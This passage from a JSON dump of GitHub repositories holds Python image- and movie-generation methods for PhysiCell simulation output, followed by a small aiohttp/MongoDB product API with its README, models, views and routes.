range.\n\n xyequal: boolean; default True\n to specify equal axis spacing for x and y axis.\n\n s: integer; default is None\n scatter plot dot size in pixel.\n typographic points are 1/72 inch.\n the marker size s is specified in points**2.\n plt.rcParams['lines.markersize']**2 is in my case 36.\n None tries to take the value from the initial.svg file.\n fall back setting is 36.\n\n figsizepx: list of two integers, default is None\n size of the figure in pixels, (x, y).\n the given x and y will be rounded to the nearest even number,\n to be able to generate movies from the images.\n None tries to take the values from the initial.svg file.\n fall back setting is [640, 480].\n\n ext: string\n output image format. possible formats are jpeg, png, and tiff.\n\n figbgcolor: string; default is None which is transparent (png)\n or white (jpeg, tiff).\n figure background color.\n\n output:\n image files under the returned path.\n\n description:\n this function generates image time series\n based on the physicell data output.\n jpeg is by definition a lossy compressed image format.\n png is by definition a lossless compressed image format.\n tiff can by definition be a lossy or lossless compressed format.\n https://en.wikipedia.org/wiki/JPEG\n https://en.wikipedia.org/wiki/Portable_Network_Graphics\n https://en.wikipedia.org/wiki/TIFF\n \"\"\"\n # handle initial.svg for s and figsizepx\n if (s is None) or (figsizepx is None):\n s_pathfile = self.output_path + 'initial.svg'\n try:\n tree = ET.parse(s_pathfile)\n root = tree.getroot()\n if s is None:\n circle_element = root.find('.//{*}circle')\n r_radius = float(circle_element.get('r')) # px\n s = int(round((r_radius)**2))\n if self.verbose:\n print(f's set to {s}.')\n if figsizepx is None:\n i_width = int(np.ceil(float(root.get('width')))) # px\n i_height = int(np.ceil(float(root.get('height')))) # px\n figsizepx = [i_width, i_height]\n except FileNotFoundError:\n print(f'Warning @ pyMCDSts.make_imgcell : could not load {s_pathfile}.')\n if s is None:\n s = plt.rcParams['lines.markersize']**2\n if self.verbose:\n print(f's set to {s}.')\n if figsizepx is None:\n figsizepx = [640, 480]\n\n # handle z_slice\n z_slice = float(z_slice)\n _, _, ar_p_axis = self.l_mcds[0].get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # handle z_axis categorical cases\n df_cell = self.l_mcds[0].get_cell_df()\n if (str(df_cell.loc[:,focus].dtype) in {'bool', 'object'}):\n if (z_axis is None):\n # extract set of labels from data\n z_axis = set()\n for mcds in self.l_mcds:\n df_cell = mcds.get_cell_df()\n z_axis = z_axis.union(set(df_cell.loc[:,focus]))\n\n # handle z_axis numerical cases\n else: # df_cell.loc[:,focus].dtype is numeric\n if (z_axis is None):\n # extract min and max values from data\n z_axis = [None, None]\n for mcds in self.l_mcds:\n df_cell = mcds.get_cell_df()\n r_min = df_cell.loc[:,focus].min()\n r_max = df_cell.loc[:,focus].max()\n if (z_axis[0] is None) or (z_axis[0] > r_min):\n z_axis[0] = np.floor(r_min)\n if (z_axis[1] is None) or (z_axis[1] < r_max):\n z_axis[1] = np.ceil(r_max)\n\n # handle z_axis summary\n print(f'z_axis detected: {z_axis}.')\n\n # handle xlim and ylim\n if (xlim is None):\n xlim = self.l_mcds[0].get_xyz_range()[0]\n print(f'xlim set to: {xlim}.')\n if (ylim is None):\n ylim = self.l_mcds[0].get_xyz_range()[1]\n print(f'ylim set to: {ylim}.')\n\n # handle figure size\n figsizepx[0] = figsizepx[0] - (figsizepx[0] % 2) # enforce even pixel number\n figsizepx[1] = figsizepx[1] - (figsizepx[1] % 2)\n r_px = 1 / plt.rcParams['figure.dpi'] # translate px to inch\n figsize = [None, None]\n figsize[0] = figsizepx[0] * r_px\n figsize[1] = figsizepx[1] * r_px\n if self.verbose:\n print(f'px figure size set to {figsizepx}.')\n\n # handle figure background color\n if figbgcolor is None:\n figbgcolor = 'auto'\n\n # handle output path\n s_path = f'{self.output_path}cell_{focus}_z{round(z_slice,9)}/'\n\n # plotting\n for mcds in self.l_mcds:\n fig = mcds.get_scatter(\n focus = focus,\n z_slice = z_slice,\n z_axis = z_axis,\n cmap = cmap,\n title = f'{focus}\\n{df_cell.shape[0]}[agent] {round(mcds.get_time(),9)}[min]',\n grid = grid,\n legend_loc = legend_loc,\n xlim = xlim,\n ylim = ylim,\n xyequal = xyequal,\n s = s,\n figsize = figsize,\n ax = None,\n )\n # finalize\n os.makedirs(s_path, exist_ok=True)\n s_pathfile = f'{s_path}{focus}_{str(round(mcds.get_time(),9)).zfill(11)}.{ext}'\n fig.savefig(s_pathfile, facecolor=figbgcolor)\n plt.close(fig)\n\n # output\n return s_path\n\n\n def make_imgsubs(self, focus, z_slice=0, extrema=None, alpha=1, fill=True, cmap='viridis', grid=True, xlim=None, ylim=None, xyequal=True, figsizepx=None, ext='jpeg', figbgcolor=None):\n \"\"\"\n input:\n self: pyMCDSts class instance\n\n focus: string; default is 'cell_type'\n column name within cell dataframe.\n\n z_slice: floating point number; default is 0\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if z_slice position\n is not an exact mesh center coordinate, then z_slice\n will be adjusted to the nearest mesh center value,\n the smaller one, if the coordinate lies on a saddle point.\n\n extrema: tuple of two floats; default is None\n default takes min and max from data.\n\n alpha: floating point number; default is 1\n alpha channel transparency value\n between 1 (not transparent at all) and 0 (totally transparent).\n\n fill: boolean\n True generates a matplotlib contourf plot.\n False generates a matplotlib contour plot.\n\n cmap: string; default viridis.\n matplotlib colormap.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n\n grid: boolean default True.\n plot axis grid lines.\n\n xlim: tuple of two floats; default is None\n x axis min and max value.\n default takes min and max from mesh x axis range.\n\n ylim: tuple of two floats; default is None\n y axis min and max value.\n default takes min and max from mesh y axis range.\n\n xyequal: boolean; default True\n to specify equal axis spacing for x and y axis.\n\n figsizepx: list of two integers, default is None\n size of the figure in pixels, (x, y).\n the given x and y will be rounded to the nearest even number,\n to be able to generate movies from the images.\n None tries to take the values from the initial.svg file.\n fall back setting is [640, 480].\n\n ext: string\n output image format. possible formats are jpeg, png, and tiff.\n\n figbgcolor: string; default is None which is transparent (png)\n or white (jpeg, tiff).\n figure background color.\n\n output:\n image files under the returned path.\n\n description:\n this function generates image time series\n based on the physicell data output.\n jpeg is by definition a lossy compressed image format.\n png is by definition a lossless compressed image format.\n tiff can by definition be a lossy or lossless compressed format.\n https://en.wikipedia.org/wiki/JPEG\n https://en.wikipedia.org/wiki/Portable_Network_Graphics\n https://en.wikipedia.org/wiki/TIFF\n \"\"\"\n # handle initial.svg for s and figsizepx\n if (figsizepx is None):\n s_pathfile = self.output_path + 'initial.svg'\n try:\n tree = ET.parse(s_pathfile)\n root = tree.getroot()\n i_width = int(np.ceil(float(root.get('width')))) # px\n i_height = int(np.ceil(float(root.get('height')))) # px\n figsizepx = [i_width, i_height]\n except FileNotFoundError:\n print(f'Warning @ pyMCDSts.make_imgsubs : could not load {s_pathfile}.')\n figsizepx = [640, 480]\n\n # handle z_slice\n z_slice = float(z_slice)\n _, _, ar_p_axis = self.l_mcds[0].get_mesh_mnp_axis()\n if not (z_slice in ar_p_axis):\n z_slice = ar_p_axis[abs(ar_p_axis - z_slice).argmin()]\n print(f'z_slice set to {z_slice}.')\n\n # handle extrema\n if extrema == None:\n extrema = [None, None]\n for mcds in self.l_mcds:\n df_conc = mcds.get_concentration_df()\n r_min = df_conc.loc[:,focus].min()\n r_max = df_conc.loc[:,focus].max()\n if (extrema[0] is None) or (extrema[0] > r_min):\n extrema[0] = np.floor(r_min)\n if (extrema[1] is None) or (extrema[1] < r_max):\n extrema[1] = np.ceil(r_max)\n print(f'min max extrema set to {extrema}.')\n\n # handle xlim and ylim\n if (xlim is None):\n xlim = self.l_mcds[0].get_xyz_range()[0]\n print(f'xlim set to {xlim}.')\n if (ylim is None):\n ylim = self.l_mcds[0].get_xyz_range()[1]\n print(f'ylim set to {ylim}.')\n\n # handle figure size\n figsizepx[0] = figsizepx[0] - (figsizepx[0] % 2) # enforce even pixel number\n figsizepx[1] = figsizepx[1] - (figsizepx[1] % 2)\n r_px = 1 / plt.rcParams['figure.dpi'] # translate px to inch\n figsize = [None, None]\n figsize[0] = figsizepx[0] * r_px\n figsize[1] = figsizepx[1] * r_px\n if self.verbose:\n print(f'px figure size set to {figsizepx}.')\n\n # handle figure background color\n if figbgcolor is None:\n figbgcolor = 'auto'\n\n # handle output path\n s_path = f'{self.output_path}substrate_{focus}_z{round(z_slice,9)}/'\n\n # plotting\n for mcds in self.l_mcds:\n fig = mcds.get_contour(\n substrate = focus,\n z_slice = z_slice,\n vmin = extrema[0],\n vmax = extrema[1],\n alpha = alpha,\n fill = fill,\n cmap = cmap,\n title = f'{focus}\\n{round(mcds.get_time(),9)}[min]',\n grid = grid,\n xlim = xlim,\n ylim = ylim,\n xyequal = xyequal,\n figsize = figsize,\n ax = None,\n )\n os.makedirs(s_path, exist_ok=True)\n s_pathfile = f'{s_path}{focus}_{str(round(mcds.get_time(),9)).zfill(11)}.{ext}'\n fig.savefig(s_pathfile, facecolor=figbgcolor)\n plt.close(fig)\n\n # output\n return s_path\n\n\n def make_gif(self, path, interface='jpeg'):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n path: string\n relative or absolute path to where the images are\n from which the gif will be generated.\n\n interface: string; default jpeg\n this images, from which the gif will be generated\n have to exist under the given path.\n they can be generated with the make_imgcell or make_imgsubs\n function.\n\n output:\n gif file in the path directory.\n` additionally, the function will return the gif's path and filename.\n\n description:\n this function generates a gif image from all interface image files\n found in the path directory.\n https://en.wikipedia.org/wiki/GIF\n \"\"\"\n s_magick = self._handle_magick()\n # handle path and file name\n path = path.replace('\\\\','/')\n if path.endswith('/'): path = path[:-1]\n s_file = path.split('/')[-1]\n if s_file.startswith('.'): s_file = s_file[1:]\n if (len(s_file) == 0): s_file = 'movie'\n s_file += f'_{interface}.gif'\n s_opathfile = f'{path}/{s_file}'\n s_ipathfiles = f'{path}/*.{interface}'\n # genaerate gif\n os.system(f'{s_magick}convert {s_ipathfiles} {s_opathfile}')\n\n # output\n return s_opathfile\n\n\n def make_movie(self, path, interface='jpeg', framerate=12):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n path: string\n relative or absolute path to where the images are\n from which the movie will be generated.\n\n interface: string; default jpeg\n this images, from which the mp4 movie will be generated\n have to exist under the given path.\n they can be generated with the make_imgcell or make_imgsubs\n function.\n\n framerate: integer; default 24\n specifies how many images per second will be used.\n\n output:\n mp4 move file in the path directory.\n` additionally, the function will return the mp4's path and filename.\n\n description:\n this function generates a movie from all interface image files\n found in the path directory.\n https://en.wikipedia.org/wiki/MP4_file_format\n https://en.wikipedia.org/wiki/Making_Movies\n \"\"\"\n # handle path\n s_pwd = os.getcwd()\n s_path = path.replace('\\\\','/')\n if s_path.endswith('/'): s_path = s_path[:-1]\n\n # handle output filename\n s_ofile = s_path.split('/')[-1]\n if s_ofile.startswith('.'): s_ofile = s_ofile[1:]\n if (len(s_ofile) == 0): s_ofile = 'movie'\n s_ofile += f'_{interface}{framerate}.mp4'\n s_opathfile = f'{s_path}/{s_ofile}'\n\n # generate input file list\n os.chdir(s_path)\n ls_ifile = sorted(glob(f'*.{interface}'))\n f = open('ffmpeginput.txt', 'w')\n for s_ifile in ls_ifile:\n f.write(f\"file '{s_ifile}'\\n\")\n f.close()\n\n # genearete movie\n s_cmd = f'ffmpeg -y -r {framerate} -f concat -i ffmpeginput.txt -vcodec libx264 -pix_fmt yuv420p -strict -2 -tune animation -crf 15 -acodec none {s_ofile}' # -safe 0\n os.system(s_cmd)\n os.remove('ffmpeginput.txt')\n\n # output\n os.chdir(s_pwd)\n return s_opathfile\n" } ]
15
MedvedevSergey/test_project_aiohttp_mongo
https://github.com/MedvedevSergey/test_project_aiohttp_mongo
61d5ba5815fa00e05c353c378f149c91128bdf51
bb44df24ed05404b4c5ae0f75af3807c05bb4be4
7eb2e66f8a0e78987a2c9742230d81fada8aa061
refs/heads/master
2021-04-20T04:51:40.827404
2020-03-24T08:48:19
2020-03-24T08:48:19
249,655,690
0
0
null
2020-03-24T08:44:33
2020-03-24T08:48:35
2021-02-26T02:47:17
Python
[ { "alpha_fraction": 0.7727272510528564, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 19.53333282470703, "blob_id": "aaaae6d21ada9174ac43d15447a6e3c14e898a78", "content_id": "5ab2f0cda529583320a37991ed19df2d0e138389", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 308, "license_type": "no_license", "max_line_length": 53, "num_lines": 15, "path": "/main.py", "repo_name": "MedvedevSergey/test_project_aiohttp_mongo", "src_encoding": "UTF-8", "text": "from aiohttp import web\nfrom routes import setup_routes\nfrom motor.aiohttp import AIOHTTPGridFS \nimport motor.motor_asyncio\nfrom umongo import Instance\n\n\ndb = motor.motor_asyncio.AsyncIOMotorClient()['test']\n\ninstance = Instance(db)\n\napp = web.Application()\napp['db'] = db\nsetup_routes(app)\nweb.run_app(app)\n" }, { "alpha_fraction": 0.5022467970848083, "alphanum_fraction": 0.5523678064346313, "avg_line_length": 15.258426666259766, "blob_id": "234d3e4a059187e9c903491230b07fcac80efb48", "content_id": "668a4879dd03ed1dd43d9b9fab392e4c08ae4f52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2893, "license_type": "no_license", "max_line_length": 55, "num_lines": 178, "path": "/README.md", "repo_name": "MedvedevSergey/test_project_aiohttp_mongo", "src_encoding": "UTF-8", "text": "# Deploy project\n## Create environment\n```\npython -m venv <venv_name>\n```\n## Activate environment\n\n```\nsource /path/to/env/<venv_name>/bin/activate\n```\n## Install all dependences to your environment\n```\npip install -r requirements.txt\n```\n\n## Set db\n### Pull mongodb image\n```\ndocker pull mongo\n```\n### Start mongodb\n```\ndocker run -d -p 27017:27017 mongo\n```\n\n# Start project\nFor start server need to execute command:\n```\npython aiohttp_store/main.py\n```\n\n\n\n# Get or create data\n\n### Get all data about product you need to send request\n```\nhttp://0.0.0.0:8080\n```\n\n### Get one object by id\nIt's a POST request\nNeed to send JSON\n```\n{\n \"id\": <object_id>\n}\n```\n```\nhttp://0.0.0.0:8080/id\n```\n\n### Filter objects by title or parameters\nIt's a POST request\nNeed to send JSON\n```\n{\n \"title\": <title_object>\n}\n```\nor\n```\n{\n \"parameters\": {\n \"first_parameter\": \"value\",\n \"second_parameter\": \"value\"\n }\n}\n```\n```\nhttp://0.0.0.0:8080/filter\n```\n\n# Example\n## Create object\n\n### request\n\n```\ncurl -H \"Content-Type: application/json\" \\\n --request POST \\\n --data '{\"title\":\"example_object\", \n \"description\": \"some text\",\n \"parameters\": {\n \"created_by\": \"company\",\n \"serial_number\": 12345\n }\n }' \\\n http://localhost:8080/create\n```\n\n ### response\n ```\n {\n \"title\": \"example_object\",\n \"parameters\": {\n \"created_by\": \"company\",\n \"serial_number\": 12345\n },\n \"id\": \"5e79bf57fa45da08da6c5177\",\n \"description\": \"some text\"\n}\n ```\n\n## Filter objects by paramters\n### Filter by title\n### request\n```\ncurl -H \"Content-Type: application/json\" \\\n --request POST \\\n --data '{\"title\":\"example_object\"}' \\\n http://localhost:8080/filter \n```\n### response\n```\n[\n {\n \"title\": \"example_object\",\n \"parameters\": {\n \"created_by\": \"company\",\n \"serial_number\": 12345\n },\n \"id\": \"5e79bf57fa45da08da6c5177\",\n \"description\": \"some text\"\n } \n]\n\n```\n\n### Filter by parameters\n### request\n```\ncurl -H \"Content-Type: application/json\" \\\n --request POST \\\n --data '{\"parameters\": {\"created_by\": \"company\"}}' \\\n http://localhost:8080/filter \n```\n### response\n```\n[\n {\n \"title\": \"example_object\",\n \"parameters\": {\n \"created_by\": \"company\",\n \"serial_number\": 12345\n },\n \"id\": \"5e79bf57fa45da08da6c5177\",\n \"description\": \"some text\"\n } \n]\n\n```\n\n## Get detail about object by id\n\n### request\n```\ncurl -H \"Content-Type: application/json\" \\\n --request POST \\\n --data '{\"id\":\"5e79bf57fa45da08da6c5177\"}' \\\n http://localhost:8080/id \n```\n\n### response\n\n```\n[\n {\n \"title\": \"example_object\",\n \"parameters\": {\n \"created_by\": \"company\",\n \"serial_number\": 12345\n },\n \"id\": \"5e79bf57fa45da08da6c5177\",\n \"description\": \"some text\"\n } \n]\n```" }, { "alpha_fraction": 0.6455696225166321, "alphanum_fraction": 0.6455696225166321, "avg_line_length": 27.90243911743164, "blob_id": "c06c9c5326f23605c57d3ec3473c1a25c9c37901", "content_id": "4609463d95ec0035e975e3d123cbf7538ecf75d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1185, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/models.py", "repo_name": "MedvedevSergey/test_project_aiohttp_mongo", "src_encoding": "UTF-8", "text": "import motor.motor_asyncio\nfrom umongo import Document, fields, Instance\n\n\ndb = motor.motor_asyncio.AsyncIOMotorClient()['test']\ninstance = Instance(db)\n\[email protected]\nclass Product(Document):\n # id created automatically\n title = fields.StrField(required=True)\n description = fields.StrField(required=True)\n parameters = fields.DictField(required=False)\n\n @staticmethod\n async def get_all():\n product = Product.find({})\n return product\n\n @staticmethod\n async def filter(data):\n title_filter = data.get('title')\n parameters = data.get('parameters')\n parameter_filter = {}\n if parameters is not None:\n for key, value in parameters.items():\n parameter_filter[f'parameters.{key}'] = value\n return Product.find(parameter_filter)\n elif title_filter is not None:\n return Product.find({'title': title_filter})\n\n\n @staticmethod\n async def get_by_id(product_id):\n return Product.find({'id': fields.ObjectId(product_id)})\n\n @staticmethod\n async def create(data):\n product = Product(**data)\n await product.commit()\n return product\n" }, { "alpha_fraction": 0.6905754804611206, "alphanum_fraction": 0.7055879831314087, "avg_line_length": 37.64516067504883, "blob_id": "04712cc1697c40c195be0084339f3efeb750ba8c", "content_id": "3a7cfc0e05b8ac4a8c213433825723262dbc59ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1199, "license_type": "no_license", "max_line_length": 88, "num_lines": 31, "path": "/views.py", "repo_name": "MedvedevSergey/test_project_aiohttp_mongo", "src_encoding": "UTF-8", "text": "from aiohttp import web\nfrom models import Product\n\n\nasync def add_product(request: web.Request) -> web.Response:\n data = await request.json()\n product = await Product.create(data)\n return web.json_response(product.dump(), status=201)\n\n\nasync def get_all_product(request: web.Request) -> web.Response:\n products = await Product.get_all()\n return web.json_response([product.dump() async for product in products], status=200)\n \n\nasync def get_by_id(request: web.Request) -> web.Response:\n data = await request.json()\n products = await Product.get_by_id(data['id'])\n response_data = [product.dump() async for product in products]\n if not response_data:\n return web.json_response({'error_message': 'Product Not Found' }, status=404)\n return web.json_response(response_data, status=200)\n\n\nasync def get_filtered_data(request: web.Request) -> web.Response:\n data = await request.json()\n products = await Product.filter(data)\n response_data = [product.dump() async for product in products]\n if not response_data:\n return web.json_response({'error_message': 'Products Not Found' }, status=404)\n return web.json_response(response_data, status=200)\n\n" }, { "alpha_fraction": 0.6700336933135986, "alphanum_fraction": 0.6700336933135986, "avg_line_length": 40.42856979370117, "blob_id": "ceda6eab61e39af8e5facf5771890688f66b7348", "content_id": "e96565ed682e6f4bd84b425dceca0b8499d09f71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 76, "num_lines": 7, "path": "/routes.py", "repo_name": "MedvedevSergey/test_project_aiohttp_mongo", "src_encoding": "UTF-8", "text": "from views import get_all_product, add_product, get_by_id, get_filtered_data\n\ndef setup_routes(app):\n app.router.add_get('/', get_all_product)\n app.router.add_post('/filter', get_filtered_data)\n app.router.add_post('/create', add_product)\n app.router.add_post('/id', get_by_id)\n\n\n \n" } ]
5
wbobe/SoilMoistureDetection
https://github.com/wbobe/SoilMoistureDetection
4441e7ff27a32f5ef9b0d7376179f1b04008e79b
5d0069ee3836097a0b37938bce49377c3b84ef5d
f8a73a330784ff6a486a115b4ffb030c5dfeb6bd
refs/heads/addPythonCode
2021-01-18T06:43:20.248020
2016-03-19T00:36:07
2016-03-19T00:36:07
58,644,796
1
0
null
2016-05-12T13:38:26
2016-05-12T13:38:27
2016-03-19T00:36:07
Python
[ { "alpha_fraction": 0.6359999775886536, "alphanum_fraction": 0.6359999775886536, "avg_line_length": 18.230770111083984, "blob_id": "c71fa55ee47f7ae1645ae48d2c1b93fa83d40c31", "content_id": "27be760f484857c9c832199e89880ff274b3a498", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 500, "license_type": "no_license", "max_line_length": 59, "num_lines": 26, "path": "/README.md", "repo_name": "wbobe/SoilMoistureDetection", "src_encoding": "UTF-8", "text": "Required Utilities\n------------------\nsudo apt-get install git\nsudo apt-get install python-pip\n\nSPI Python Wrapper\n------------------\ncd ~\ngit clone git://github.com/doceme/py-spidev\ncd py-spidev/\nsudo python setup.py install\n\nAdafruit Python Library\n-----------------------\n\nControlMyPi Library\n-------------------\nsudo pip install controlmypi\n\nProject Code\n------------\ngit clone https://github.com/FarmMind/SoilMoistureDetection\n\nrunning the code\n----------------\nsudo python moistureDetection.py\n" }, { "alpha_fraction": 0.5728834867477417, "alphanum_fraction": 0.5862507820129395, "avg_line_length": 27.834861755371094, "blob_id": "23b4ce1183d60fc80daac015dfe905d7d7dacb59", "content_id": "820ab14efc4b5beac5e25114d03b73836cc7f614", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3142, "license_type": "no_license", "max_line_length": 141, "num_lines": 109, "path": "/moistureDetection.py", "repo_name": "wbobe/SoilMoistureDetection", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append('/home/pi/py/Adafruit-Raspberry-Pi-Python-Code/Adafruit_CharLCDPlate')\n \nfrom time import sleep\nfrom Adafruit_CharLCDPlate import Adafruit_CharLCDPlate\nimport mcp3008\nfrom controlmypi import ControlMyPi\nimport logging\nimport datetime\nimport pickle\nfrom genericpath import exists\nimport smtplib\n \nlcd = Adafruit_CharLCDPlate()\n \nPICKLE_FILE = '/home/pi/py/moisture/moist.pkl'\n \ndef on_msg(conn, key, value):\n pass\n \ndef append_chart_point(chart, point):\n if len(chart) >= 48:\n del chart[0]\n chart.append(point)\n return chart\n \ndef save(data):\n output = open(PICKLE_FILE, 'wb')\n pickle.dump(data, output)\n output.close()\n \ndef load(default):\n if not exists(PICKLE_FILE):\n return default\n pkl_file = open(PICKLE_FILE, 'rb')\n data = pickle.load(pkl_file)\n pkl_file.close()\n return data\n \ndef update_lcd(m):\n try:\n lcd.home()\n lcd.message(\"Moisture level:\\n%d%% \" % m)\n if m < 15:\n lcd.backlight(lcd.RED)\n elif m < 50:\n lcd.backlight(lcd.YELLOW)\n else:\n lcd.backlight(lcd.GREEN)\n except IOError as e:\n print e\n \ndef send_gmail(from_name, sender, password, recipient, subject, body):\n '''Send an email using a GMail account.'''\n senddate=datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d')\n msg=\"Date: %s\\r\\nFrom: %s <%s>\\r\\nTo: %s\\r\\nSubject: %s\\r\\nX-Mailer: My-Mail\\r\\n\\r\\n\" % (senddate, from_name, sender, recipient, subject)\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.starttls()\n server.login(sender, password)\n server.sendmail(sender, recipient, msg+body)\n server.quit()\n \nlogging.basicConfig(level=logging.INFO)\n \np = [ \n [ ['G','moist','level',0,0,100], ['LC','chart1','Time','Value',0,100] ], \n ]\n \nc1 = load([])\n \nreadings = []\n \nconn = ControlMyPi('[email protected]', 'password', 'moisture', 'Moisture monitor', p, on_msg)\n \ndelta = datetime.timedelta(minutes=30)\nnext_time = datetime.datetime.now()\n \ndelta_email = datetime.timedelta(days=1)\nnext_email_time = datetime.datetime.now()\n \nif conn.start_control():\n try:\n while True:\n dt = datetime.datetime.now()\n m = mcp3008.read_pct(5)\n readings.append(m)\n update_lcd(m)\n to_update = {'moist':m}\n \n # Update the chart?\n if dt > next_time:\n # Take the average from the readings list to smooth the graph a little\n avg = int(round(sum(readings)/len(readings))) \n readings = [] \n c1 = append_chart_point(c1, [dt.strftime('%H:%M'), avg])\n save(c1)\n next_time = dt + delta\n to_update['chart1'] = c1\n conn.update_status(to_update)\n \n #Send an email?\n if dt > next_email_time:\n next_email_time = dt + delta_email\n if m < 40:\n send_gmail('Your Name', '[email protected]', 'password', '[email protected]', 'Moisture sensor level', 'The level is now: %s' % m)\n \n sleep(30)\n finally:\n conn.stop_control()" } ]
2
sticken88/books-app
https://github.com/sticken88/books-app
87898856fe2e72893f22fce2f4a4fcd374499827
4d48761e8783c960a39d0da094759a588d6b90b2
0a04e7ea34129f9624cb29bf9c174091f82d4031
refs/heads/master
2016-09-14T02:45:33.698588
2016-04-30T12:51:56
2016-04-30T12:51:56
56,912,852
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7247899174690247, "alphanum_fraction": 0.7310924530029297, "avg_line_length": 31.79310417175293, "blob_id": "3307fe467f8b68a923b7d62161a10e9d70008e3b", "content_id": "07a2089033fd87b4613f61af649be8ff34af0fd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 952, "license_type": "no_license", "max_line_length": 67, "num_lines": 29, "path": "/books_project/books_app/models.py", "repo_name": "sticken88/books-app", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom django.db import models\nfrom django.conf import settings\n\n# Maybe Quote and Review should extend the same base class\n\nAUTH_USER_MODEL = getattr(settings, 'AUTH_USER_MODEL', 'auth.User')\n\n\nclass Book(models.Model):\n title = models.CharField(max_length=80, primary_key=True)\n author = models.CharField(max_length=30)\n genre = models.CharField(max_length=30)\n year = models.PositiveIntegerField()\n\nclass Quote(models.Model):\n book = models.ForeignKey('Book')\n text = models.TextField()\n username = models.ForeignKey(AUTH_USER_MODEL)\n datetime_added = models.DateTimeField(auto_now_add=True)\n upvote = models.PositiveIntegerField()\n\n\nclass Review(models.Model):\n book = models.ForeignKey('Book')\n text = models.TextField()\n username = models.ForeignKey(AUTH_USER_MODEL)\n datetime_added = models.DateTimeField(auto_now_add=True)\n upvote = models.PositiveIntegerField()\n\n" }, { "alpha_fraction": 0.7241379022598267, "alphanum_fraction": 0.7629310488700867, "avg_line_length": 27.9375, "blob_id": "94c72d179ce04ccc0091719b36f282774ec752f9", "content_id": "1d9a4e98bd6206deabfed478c5ae11a370d9768b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 464, "license_type": "no_license", "max_line_length": 131, "num_lines": 16, "path": "/README.md", "repo_name": "sticken88/books-app", "src_encoding": "UTF-8", "text": "Web application where users can review books and add their favourite quotes.\n\n## Development Platform\n* Ubuntu 14.04\n* Python 2.7.6\n* PostgreSQL 9.3.12\n\n## Dependencies\n\n### Bootstrap 3\nDownload the Bootstrap 3 archive and unpack it inside the `static` folder of the application. `bootstrap-3.3.6-dist` to `bootstrap`\n\n### Installing PostgreSQL dirver for Django\n`sudo apt-get install python-psycopg2`\n`sudo apt-get install libpq-dev`\n`sudo pip install psycopg2`\n\n" }, { "alpha_fraction": 0.6203208565711975, "alphanum_fraction": 0.6203208565711975, "avg_line_length": 19.77777862548828, "blob_id": "4279fe743cf452fcabf639fdbe77f89ea35aa5fd", "content_id": "2187850fa99f18fcb7be84bbc9beb275ee08f7e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 187, "license_type": "no_license", "max_line_length": 47, "num_lines": 9, "path": "/books_project/books_app/urls.py", "repo_name": "sticken88/books-app", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n # ex: /books/\n url(r'^index/', views.index, name='index'),\n url(r'^books/', views.books, name='books'),\n]\n" }, { "alpha_fraction": 0.6612903475761414, "alphanum_fraction": 0.6612903475761414, "avg_line_length": 31.30434799194336, "blob_id": "3c4af3576baf89cea09f7f0f9edadaf871d2fb37", "content_id": "1981ac397d92a3f10410dec87c1c689d2206018b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 744, "license_type": "no_license", "max_line_length": 65, "num_lines": 23, "path": "/books_project/books_app/views.py", "repo_name": "sticken88/books-app", "src_encoding": "UTF-8", "text": "from django.template import RequestContext, loader\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom models import *\n\n# Create your views here.\ndef index(request):\n #return HttpResponse(\"Prova pagina Django\")\n template = loader.get_template('books_app/index.html')\n context = RequestContext(request)\n return HttpResponse(template.render(context))\n\ndef books(request):\n\n # get the list of books\n books_list = Book.objects.order_by(\"title\")\n\n template = loader.get_template('books_app/books.html')\n context = RequestContext(request, {\n 'books_list': books_list\n })\n return HttpResponse(template.render(context))\n\n" } ]
4
khanbasil/cs102-hw03
https://github.com/khanbasil/cs102-hw03
bbef82a003ae9e8e2ce2dd443f75ab5a014c4b4b
efcd399f296741465b93ffcd4480601fc6d3eb33
6a007e7c66d5914ed6f1590634db9a1c39ddd016
refs/heads/master
2020-09-09T21:45:16.402694
2019-11-28T04:58:17
2019-11-28T04:58:17
221,579,329
0
0
null
2019-11-14T00:43:51
2019-11-12T22:37:44
2019-11-12T22:37:42
null
